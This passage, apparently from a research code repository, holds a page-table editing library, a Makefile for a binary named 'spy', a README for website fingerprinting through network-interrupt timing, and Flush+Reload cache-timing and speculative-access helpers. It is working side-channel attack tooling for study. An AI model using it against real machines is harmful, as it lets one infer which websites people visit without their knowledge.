strcat(mts, "UC"); 1637 | break; 1638 | case 5: /* Fall through */ 1639 | case 6: /* Fall through */ 1640 | case 7: 1641 | strcat(mts, "WB"); 1642 | break; 1643 | case 8: /* Fall through */ 1644 | case 9: /* Fall through */ 1645 | case 10: /* Fall through */ 1646 | case 11: 1647 | strcat(mts, "WT"); 1648 | break; 1649 | case 12: /* Fall through */ 1650 | case 13: /* Fall through */ 1651 | case 14: /* Fall through */ 1652 | case 15: 1653 | strcat(mts, "WB"); 1654 | } 1655 | } 1656 | return mts; 1657 | #endif 1658 | } 1659 | 1660 | 1661 | // --------------------------------------------------------------------------- 1662 | ptedit_fnc void ptedit_set_mts(size_t mts) { 1663 | #if defined(LINUX) 1664 | ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SET_PAT, mts); 1665 | #else 1666 | DWORD returnLength; 1667 | DeviceIoControl(ptedit_fd, PTEDITOR_GET_PAT, (LPVOID)&mts, sizeof(mts), (LPVOID)&mts, sizeof(mts), &returnLength, 0); 1668 | #endif 1669 | } 1670 | 1671 | 1672 | // --------------------------------------------------------------------------- 1673 | ptedit_fnc void ptedit_set_mt(unsigned char mt, unsigned char value) { 1674 | size_t mts = ptedit_get_mts(); 1675 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1676 | mts &= ~(7 << (mt * 8)); 1677 | #elif defined(__aarch64__) 1678 | mts &= ~(0xff << (mt * 8)); 1679 | #endif 1680 | mts |= ((size_t)value << (mt * 8)); 1681 | ptedit_set_mts(mts); 1682 | } 1683 | 1684 | 1685 | // --------------------------------------------------------------------------- 1686 | ptedit_fnc unsigned char ptedit_find_mt(unsigned char type) { 1687 | size_t mts = ptedit_get_mts(); 1688 | unsigned char found = 0; 1689 | int i; 1690 | for (i = 0; i < 8; i++) { 1691 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1692 | if (((mts >> (i * 8)) & 7) == type) found |= (1 << i); 1693 | #elif defined(__aarch64__) 1694 | if (((mts >> (i * 8)) & 0xff) == type) { 1695 | found |= (1 << i); 1696 | } 1697 | else { 1698 | unsigned char plow, phigh; 1699 | plow = (mts >> (i * 8)) & 0xf; 1700 | phigh = ((mts >> (i * 8)) >> 4) & 0xf; 1701 | if ((plow == phigh) && (plow == type)) { 1702 | found |= (1 << i); 1703 | } 1704 | } 1705 | #endif 1706 | } 1707 | return found; 1708 | } 1709 | 1710 | 1711 | // --------------------------------------------------------------------------- 1712 | ptedit_fnc int ptedit_find_first_mt(unsigned char type) { 1713 | #if defined(LINUX) 1714 | return __builtin_ffs(ptedit_find_mt(type)) - 1; 1715 | #else 1716 | DWORD index = 0; 1717 | if (BitScanForward64(&index, ptedit_find_mt(type))) { 1718 | return index; 1719 | } 1720 | else { 1721 | return -1; 1722 | } 1723 | #endif 1724 | } 1725 | 1726 | 1727 | // --------------------------------------------------------------------------- 1728 | ptedit_fnc size_t ptedit_apply_mt(size_t entry, unsigned char mt) { 1729 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1730 | entry &= ~((1ull << PTEDIT_PAGE_BIT_PWT) | (1ull << PTEDIT_PAGE_BIT_PCD) | (1ull << PTEDIT_PAGE_BIT_PAT)); 1731 | if (mt & 1) entry |= (1ull << PTEDIT_PAGE_BIT_PWT); 1732 | if (mt & 2) entry |= (1ull << PTEDIT_PAGE_BIT_PCD); 1733 | if (mt & 4) entry |= (1ull << PTEDIT_PAGE_BIT_PAT); 1734 | #elif defined(__aarch64__) 1735 | entry &= ~0x1c; 1736 | entry |= (mt & 7) << 2; 1737 | #endif 1738 | return entry; 1739 | } 1740 | 1741 | // --------------------------------------------------------------------------- 1742 | ptedit_fnc unsigned char ptedit_extract_mt(size_t entry) { 1743 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1744 | return (!!(entry & (1ull << PTEDIT_PAGE_BIT_PWT))) | ((!!(entry & (1ull << PTEDIT_PAGE_BIT_PCD))) << 1) | ((!!(entry & (1ull << PTEDIT_PAGE_BIT_PAT))) << 2); 1745 | #elif defined(__aarch64__) 1746 | return (entry >> 2) & 7; 1747 | #endif 1748 | } 1749 | 1750 | // --------------------------------------------------------------------------- 1751 | ptedit_fnc void ptedit_full_serializing_barrier() { 1752 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1753 | #if defined(LINUX) 1754 | asm volatile("mfence\nlfence\n" ::: "memory"); 1755 | #else 1756 | MemoryBarrier(); 1757 | #endif 1758 | #elif defined(__aarch64__) 1759 | asm volatile("DSB SY"); 1760 | asm volatile("DSB ISH"); 1761 | asm volatile("ISB"); 1762 | #endif 1763 | ptedit_set_paging_root(0, ptedit_get_paging_root(0)); 1764 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1765 | #if defined(LINUX) 1766 | asm volatile("mfence\nlfence\n" ::: "memory"); 1767 | #else 1768 | MemoryBarrier(); 1769 | #endif 1770 | #elif defined(__aarch64__) 1771 | asm volatile("ISB"); 1772 | asm volatile("DSB ISH"); 1773 | asm volatile("DSB SY"); 1774 | #endif 1775 | } 1776 | 1777 | 1778 | // --------------------------------------------------------------------------- 1779 | ptedit_fnc void ptedit_pte_set_bit(void* address, pid_t pid, int bit) { 1780 | ptedit_entry_t vm = ptedit_resolve(address, pid); 1781 | if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return; 1782 | vm.pte |= (1ull << bit); 1783 | vm.valid = PTEDIT_VALID_MASK_PTE; 1784 | ptedit_update(address, pid, &vm); 1785 | } 1786 | 1787 | // --------------------------------------------------------------------------- 1788 | ptedit_fnc void ptedit_pte_clear_bit(void* address, pid_t pid, int bit) { 1789 | ptedit_entry_t vm = ptedit_resolve(address, pid); 1790 | if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return; 1791 | vm.pte &= ~(1ull << bit); 1792 | vm.valid = PTEDIT_VALID_MASK_PTE; 1793 | ptedit_update(address, pid, &vm); 1794 | } 1795 | 1796 | // --------------------------------------------------------------------------- 1797 | ptedit_fnc unsigned char ptedit_pte_get_bit(void* address, pid_t pid, int bit) { 1798 | ptedit_entry_t vm = ptedit_resolve(address, pid); 1799 | return !!(vm.pte & (1ull << bit)); 1800 | } 1801 | 1802 | // --------------------------------------------------------------------------- 1803 | ptedit_fnc size_t ptedit_pte_get_pfn(void* address, pid_t pid) { 1804 | ptedit_entry_t vm = ptedit_resolve(address, pid); 1805 | if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return 0; 1806 | else return ptedit_get_pfn(vm.pte); 1807 | } 1808 | 1809 | // --------------------------------------------------------------------------- 1810 | ptedit_fnc void ptedit_pte_set_pfn(void* address, pid_t pid, size_t pfn) { 1811 | ptedit_entry_t vm = ptedit_resolve(address, pid); 1812 | if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return; 1813 | vm.pte = ptedit_set_pfn(vm.pte, pfn); 1814 | vm.valid = PTEDIT_VALID_MASK_PTE; 1815 | ptedit_update(address, pid, &vm); 1816 | } 1817 | -------------------------------------------------------------------------------- /website_fp/Makefile: -------------------------------------------------------------------------------- 1 | all: spy 2 | 3 | spy: main.c core_observer.h 4 | gcc main.c -Os -lpthread -o spy -pthread -lrt 5 | 6 | core_observer.h: 7 | python3 find_core.py 8 | 9 | clean: 10 | rm -f spy 11 | 12 | 13 | -------------------------------------------------------------------------------- /website_fp/README.md: -------------------------------------------------------------------------------- 1 | # Website Fingerprinting 2 | 3 | ## Dependencies 4 | You need to install the Python library `scikit-learn`. 5 | To do so, execute `pip3 install scikit-learn --user`. 6 | 7 | ## Build 8 | Just run `make`. This will automatically execute `find_core.py` to find the CPU core responsible for handling network interrupts. 9 | 10 | ## Collect Traces 11 | To collect the interrupt traces for different websites, execute `./run.sh`. 12 | 13 | # Classification 14 | 15 | Before running the classifier, set the path correctly. 16 | To run the classifier, execute the following: 17 | ```bash 18 | cd website_classify 19 | python3 ./classify.py 20 | ``` 21 | 22 | ## FAQ 23 | ### How can I change the set of websites that is used? 24 | We store them as `list_15.txt` and `list.txt`. You can either change the content of these files or change the loaded file in `run.sh`. 25 | -------------------------------------------------------------------------------- /website_fp/cacheutils.h: -------------------------------------------------------------------------------- 1 | #ifndef _CACHEUTILS_H_ 2 | #define _CACHEUTILS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #define ARM_PERF 1 15 | #define ARM_CLOCK_MONOTONIC 2 16 | #define ARM_TIMER 3 17 | 18 | /* ============================================================ 19 | * User configuration 20 | * ============================================================ */ 21 | size_t CACHE_MISS = 150; 22 | 23 | #define USE_RDTSC_BEGIN_END 0 24 | 25 | #define USE_RDTSCP 1 26 | 27 | #define ARM_CLOCK_SOURCE ARM_CLOCK_MONOTONIC 28 | 29 | /* ============================================================ 30 | * User configuration End 31 | * ============================================================ */ 32 | 33 | 34 | // --------------------------------------------------------------------------- 35 | static size_t perf_fd; 36 | void perf_init() { 37 | static struct perf_event_attr attr; 38 | attr.type = PERF_TYPE_HARDWARE; 39 | attr.config = PERF_COUNT_HW_CPU_CYCLES; 40 | attr.size = sizeof(attr); 41 | attr.exclude_kernel = 1; 42 | attr.exclude_hv = 1; 43 | #if !defined(__i386__) 44 | attr.exclude_callchain_kernel = 1; 45 | #endif 46 | 47 | perf_fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0); 48 | assert(perf_fd >= 0); 49 | 50 | // ioctl(perf_fd, PERF_EVENT_IOC_RESET, 0); 51 | } 52 | 53 | #if defined(__x86_64__) 54 | // --------------------------------------------------------------------------- 55 | uint64_t rdtsc() { 56 | uint64_t a, d; 57 | asm volatile("mfence"); 58 | #if USE_RDTSCP 59 | asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx"); 60 | #else 61 | asm volatile("rdtsc" : "=a"(a), "=d"(d)); 62 | #endif 63 | a = (d << 32) | a; 64 | asm volatile("mfence"); 65 | return a; 66 | } 67 | 68 | // --------------------------------------------------------------------------- 69 | uint64_t rdtsc_begin() { 70 | uint64_t a, d; 71 | asm volatile ("mfence\n\t" 72 | "CPUID\n\t" 73 | "RDTSCP\n\t" 74 | "mov %%rdx, %0\n\t" 75 | "mov %%rax, %1\n\t" 76 | "mfence\n\t" 77 | : "=r" (d), "=r" (a) 78 | : 79 | : "%rax", "%rbx", "%rcx", "%rdx"); 80 | a = (d<<32) | a; 81 | return a; 82 | } 83 | 84 | // --------------------------------------------------------------------------- 85 | uint64_t rdtsc_end() { 86 | uint64_t a, d; 87 | asm volatile("mfence\n\t" 88 | "RDTSCP\n\t" 89 | "mov %%rdx, %0\n\t" 90 | "mov %%rax, %1\n\t" 91 | "CPUID\n\t" 92 | "mfence\n\t" 93 | : "=r" (d), "=r" (a) 94 | : 95 | : "%rax", "%rbx", "%rcx", "%rdx"); 96 | a = (d<<32) | a; 97 | return a; 98 | } 99 | 100 | // --------------------------------------------------------------------------- 101 | void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); } 102 | 103 | // --------------------------------------------------------------------------- 104 | void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); } 105 | 106 | // --------------------------------------------------------------------------- 107 | void mfence() { asm volatile("mfence"); } 108 | 109 | // --------------------------------------------------------------------------- 110 | void nospec() { asm volatile("lfence"); } 111 | 112 | #include 113 | // --------------------------------------------------------------------------- 114 | unsigned int xbegin() { 115 | unsigned status; 116 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); 117 | return status; 118 | } 119 | 120 | // --------------------------------------------------------------------------- 121 | void xend() { 122 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); 123 | } 124 | 125 | // --------------------------------------------------------------------------- 126 | int has_tsx() { 127 | if (__get_cpuid_max(0, NULL) >= 7) { 128 | unsigned a, b, c, d; 129 | __cpuid_count(7, 0, a, b, c, d); 130 | return (b & (1 << 11)) ? 1 : 0; 131 | } else { 132 | return 0; 133 | } 134 | } 135 | 136 | // --------------------------------------------------------------------------- 137 | void maccess_tsx(void* ptr) { 138 | if (xbegin() == (~0u)) { 139 | maccess(ptr); 140 | xend(); 141 | } 142 | } 143 | 144 | #define speculation_start(label) asm goto ("call %l0" : : : : label##_retp); 145 | #define speculation_end(label) asm goto("jmp %l0" : : : : label); label##_retp: asm goto("lea %l0(%%rip), %%rax\nmovq %%rax, (%%rsp)\nret\n" : : : "rax" : label); label: asm volatile("nop"); 146 | 147 | 148 | #elif defined(__i386__) 149 | // --------------------------------------------------------------------------- 150 | uint32_t rdtsc() { 151 | uint32_t a, d; 152 | asm volatile("mfence"); 153 | #if USE_RDTSCP 154 | asm volatile("rdtscp" : "=a"(a), "=d"(d)); 155 | #else 156 | asm volatile("rdtsc" : "=a"(a), "=d"(d)); 157 | #endif 158 | asm volatile("mfence"); 159 | return a; 160 | } 161 | 162 | // --------------------------------------------------------------------------- 163 | void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p)); } 164 | 165 | // --------------------------------------------------------------------------- 166 | void maccess(void *p) { asm volatile("mov (%0), %%eax\n" : : "c"(p) : "eax"); } 167 | 168 | // --------------------------------------------------------------------------- 169 | void mfence() { asm volatile("mfence"); } 170 | 171 | // --------------------------------------------------------------------------- 172 | void nospec() { asm volatile("lfence"); } 173 | 174 | #include 175 | // --------------------------------------------------------------------------- 176 | int has_tsx() { 177 | if (__get_cpuid_max(0, NULL) >= 7) { 178 | unsigned a, b, c, d; 179 | __cpuid_count(7, 0, a, b, c, d); 180 | return (b & (1 << 11)) ? 1 : 0; 181 | } else { 182 | return 0; 183 | } 184 | } 185 | 186 | #elif defined(__aarch64__) 187 | #if ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 188 | #include 189 | #endif 190 | 191 | // --------------------------------------------------------------------------- 192 | uint64_t rdtsc() { 193 | #if ARM_CLOCK_SOURCE == ARM_PERF 194 | long long result = 0; 195 | 196 | asm volatile("DSB SY"); 197 | asm volatile("ISB"); 198 | 199 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 200 | return 0; 201 | } 202 | 203 | asm volatile("ISB"); 204 | asm volatile("DSB SY"); 205 | 206 | return result; 207 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 208 | asm volatile("DSB SY"); 209 | asm volatile("ISB"); 210 | struct timespec t1; 211 | clock_gettime(CLOCK_MONOTONIC, &t1); 212 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 213 | asm volatile("ISB"); 214 | asm volatile("DSB SY"); 215 | return res; 216 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 217 | uint64_t result = 0; 218 | 219 | asm volatile("DSB SY"); 220 | asm volatile("ISB"); 221 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 222 | asm volatile("DSB SY"); 223 | asm volatile("ISB"); 224 | 225 | return result; 226 | #else 227 | #error Clock source not supported 228 | #endif 229 | } 230 | // --------------------------------------------------------------------------- 231 | uint64_t rdtsc_begin() { 232 | #if ARM_CLOCK_SOURCE == ARM_PERF 233 | long long result = 0; 234 | 235 | asm volatile("DSB SY"); 236 | asm volatile("ISB"); 237 | 238 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 239 | return 0; 240 | } 241 | 242 | asm volatile("DSB SY"); 243 | 244 | return result; 245 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 246 | asm volatile("DSB SY"); 247 | asm volatile("ISB"); 248 | struct timespec t1; 249 | clock_gettime(CLOCK_MONOTONIC, &t1); 250 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 251 | asm volatile("DSB SY"); 252 | return res; 253 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 254 | uint64_t result = 0; 255 | 256 | asm volatile("DSB SY"); 257 | asm volatile("ISB"); 258 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 259 | asm volatile("ISB"); 260 | 261 | return result; 262 | #else 263 | #error Clock source not supported 264 | #endif 265 | } 266 | 267 | 268 | // --------------------------------------------------------------------------- 269 | uint64_t rdtsc_end() { 270 | #if ARM_CLOCK_SOURCE == ARM_PERF 271 | long long result = 0; 272 | 273 | asm volatile("DSB SY"); 274 | 275 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 276 | return 0; 277 | } 278 | 279 | asm volatile("ISB"); 280 | asm volatile("DSB SY"); 281 | 282 | return result; 283 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 284 | asm volatile("DSB SY"); 285 | struct timespec t1; 286 | clock_gettime(CLOCK_MONOTONIC, &t1); 287 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 288 | asm volatile("ISB"); 289 | asm volatile("DSB SY"); 290 | return res; 291 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 292 | uint64_t result = 0; 293 | 294 | asm volatile("DSB SY"); 295 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 296 | asm volatile("DSB SY"); 297 | asm volatile("ISB"); 298 | 299 | return result; 300 | #else 301 | #error Clock source not supported 302 | #endif 303 | } 304 | 305 | // --------------------------------------------------------------------------- 306 | void flush(void *p) { 307 | asm volatile("DC CIVAC, %0" ::"r"(p)); 308 | asm volatile("DSB ISH"); 309 | asm volatile("ISB"); 310 | } 311 | 312 | // --------------------------------------------------------------------------- 313 | void maccess(void *p) { 314 | volatile uint32_t value; 315 | asm volatile("LDR %0, [%1]\n\t" : "=r"(value) : "r"(p)); 316 | asm volatile("DSB ISH"); 317 | asm volatile("ISB"); 318 | } 319 | 320 | // --------------------------------------------------------------------------- 321 | void mfence() { asm volatile("DSB ISH"); } 322 | 323 | // --------------------------------------------------------------------------- 324 | void nospec() { asm volatile("DSB SY\nISB"); } 325 | 326 | #elif defined(__PPC64__) 327 | #include 328 | uint64_t rdtsc() { 329 | uint64_t time; 330 | asm volatile ("mfspr %0, 268\n\t" 331 | "lwsync\n\t" : "=r" (time)); 332 | 333 | return time; 334 | } 335 | 336 | // --------------------------------------------------------------------------- 337 | uint64_t rdtsc_begin() { 338 | uint64_t time; 339 | asm volatile ("mfspr %0, 268\n\t" 340 | "lwsync\n\t" : "=r" (time)); 341 | 342 | return time; 343 | } 344 | 345 | // --------------------------------------------------------------------------- 346 | uint64_t rdtsc_end() { 347 | uint64_t time; 348 | asm volatile ("mfspr %0, 268\n\t" 349 | "lwsync\n\t" : "=r" (time)); 350 | 351 | return time; 352 | } 353 | 354 | // --------------------------------------------------------------------------- 355 | void flush(void *p) { asm volatile( "dcbf 0, %0\n\t" 356 | "dcs\n\t" 357 | "ics\n\t" 358 | : : "r"(p) : ); } 359 | 360 | // --------------------------------------------------------------------------- 361 | void maccess(void *p) { asm volatile( "ld %%r0, 0(%0)" ::"r"(p): "r0"); } 362 | 363 | // --------------------------------------------------------------------------- 364 | void mfence() { asm volatile( "lwsync" ); } 365 | 366 | // --------------------------------------------------------------------------- 367 | void nospec() { asm volatile( "hwsync" ); } 368 | #endif 369 | 370 | // --------------------------------------------------------------------------- 371 | int flush_reload(void *ptr) { 372 | #if defined(__i386__) 373 | uint32_t start = 0, end = 0; 374 | #else 375 | uint64_t start = 0, end = 0; 376 | #endif 377 | 378 | #if USE_RDTSC_BEGIN_END 379 | start = rdtsc_begin(); 380 | #else 381 | start = rdtsc(); 382 | #endif 383 | maccess(ptr); 384 | #if USE_RDTSC_BEGIN_END 385 | end = rdtsc_end(); 386 | #else 387 | end = rdtsc(); 388 | #endif 389 | 390 | mfence(); 391 | 392 | flush(ptr); 393 | 394 | if (end - start < CACHE_MISS) { 395 | return 1; 396 | } 397 | return 0; 398 | } 399 | 400 | // --------------------------------------------------------------------------- 401 | int flush_reload_t(void *ptr) { 402 | #if defined(__i386__) 403 | uint32_t start = 0, end = 0; 404 | #else 405 | uint64_t start = 0, end = 0; 406 | #endif 407 | 408 | #if USE_RDTSC_BEGIN_END 409 | start = rdtsc_begin(); 410 | #else 411 | start = rdtsc(); 412 | #endif 413 | maccess(ptr); 414 | #if USE_RDTSC_BEGIN_END 415 | end = rdtsc_end(); 416 | #else 417 | end = rdtsc(); 418 | #endif 419 | 420 | mfence(); 421 | 422 | flush(ptr); 423 | 424 | return (int)(end - start); 425 | } 426 | 427 | // --------------------------------------------------------------------------- 428 | int reload_t(void *ptr) { 429 | #if defined(__i386__) 430 | uint32_t start = 0, end = 0; 431 | #else 432 | uint64_t start = 0, end = 0; 433 | #endif 434 | 435 | #if USE_RDTSC_BEGIN_END 436 | start = rdtsc_begin(); 437 | #else 438 | start = rdtsc(); 439 | #endif 440 | maccess(ptr); 441 | #if USE_RDTSC_BEGIN_END 442 | end = rdtsc_end(); 443 | #else 444 | end = rdtsc(); 445 | #endif 446 | 447 | mfence(); 448 | 449 | return (int)(end - start); 450 | } 451 | 452 | 453 | // --------------------------------------------------------------------------- 454 | size_t detect_flush_reload_threshold() { 455 | size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; 456 | size_t dummy[16]; 457 | size_t *ptr = dummy + 8; 458 | #if defined(__i386__) 459 | uint32_t start = 0, end = 0; 460 | #else 461 | uint64_t start = 0, end = 0; 462 | #endif 463 | 464 | maccess(ptr); 465 | for (i = 0; i < count; i++) { 466 | reload_time += reload_t(ptr); 467 | } 468 | for (i = 0; i < count; i++) { 469 | flush_reload_time += flush_reload_t(ptr); 470 | } 471 | reload_time /= count; 472 | flush_reload_time /= count; 473 | 474 | return (flush_reload_time + reload_time * 2) / 3; 475 | } 476 | 477 | // --------------------------------------------------------------------------- 478 | void maccess_speculative(void* ptr) { 479 | int i; 480 | size_t dummy = 0; 481 | void* addr; 482 | 483 | for(i = 0; i < 50; i++) { 484 | size_t c = ((i * 167) + 13) & 1; 485 | addr = (void*)(((size_t)&dummy) * c + ((size_t)ptr) * (1 - c)); 486 | flush(&c); 487 | mfence(); 488 | if(c / 0.5 > 1.1) maccess(addr); 489 | } 490 | } 491 | 492 | // --------------------------------------------------------------------------- 493 | static jmp_buf trycatch_buf; 494 | 495 | // --------------------------------------------------------------------------- 496 | void unblock_signal(int signum __attribute__((__unused__))) { 497 | sigset_t sigs; 498 | sigemptyset(&sigs); 499 | sigaddset(&sigs, signum); 500 | sigprocmask(SIG_UNBLOCK, &sigs, NULL); 501 | } 502 | 503 | // --------------------------------------------------------------------------- 504 | void trycatch_segfault_handler(int signum) { 505 | (void)signum; 506 | 507 | int i; 508 | for(i = 1; i < 32; i++) { 509 | unblock_signal(i); 510 | } 511 | longjmp(trycatch_buf, 1); 512 | } 513 | 514 | // --------------------------------------------------------------------------- 515 | int try_start() { 516 | #if defined(__i386__) || defined(__x86_64__) 517 | if(has_tsx()) { 518 | unsigned status; 519 | // tsx begin 520 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" 521 | : "=a"(status) 522 | : "a"(-1UL) 523 | : "memory"); 524 | return status == (~0u); 525 | } else 526 | #endif 527 | { 528 | int i; 529 | for(i = 1; i < 32; i++) { 530 | signal(i, trycatch_segfault_handler); 531 | } 532 | return !setjmp(trycatch_buf); 533 | } 534 | } 535 | 536 | // --------------------------------------------------------------------------- 537 | void try_end() { 538 | #if defined(__i386__) || defined(__x86_64__) 539 | if(!has_tsx()) 540 | #endif 541 | { 542 | int i; 543 | for(i = 1; i < 32; i++) { 544 | signal(i, SIG_DFL); 545 | } 546 | } 547 | } 548 | 549 | // --------------------------------------------------------------------------- 550 | void try_abort() { 551 | #if defined(__i386__) || defined(__x86_64__) 552 | if(has_tsx()) { 553 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); 554 | } else 555 | #endif 556 | { 557 | maccess(0); 558 | } 559 | } 560 | 561 | #endif 562 | 563 | 564 | size_t get_physical_address(size_t vaddr) { 565 | int fd = open("/proc/self/pagemap", O_RDONLY); 566 | uint64_t virtual_addr = (uint64_t)vaddr; 567 | size_t value = 0; 568 | off_t offset = (virtual_addr / 4096) * sizeof(value); 569 | int got = pread(fd, &value, sizeof(value), offset); 570 | close(fd); 571 | return (value << 12) | ((size_t)vaddr & 0xFFFULL); 572 | } 573 | 574 | -------------------------------------------------------------------------------- /website_fp/collect.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function usage { 4 | echo "collect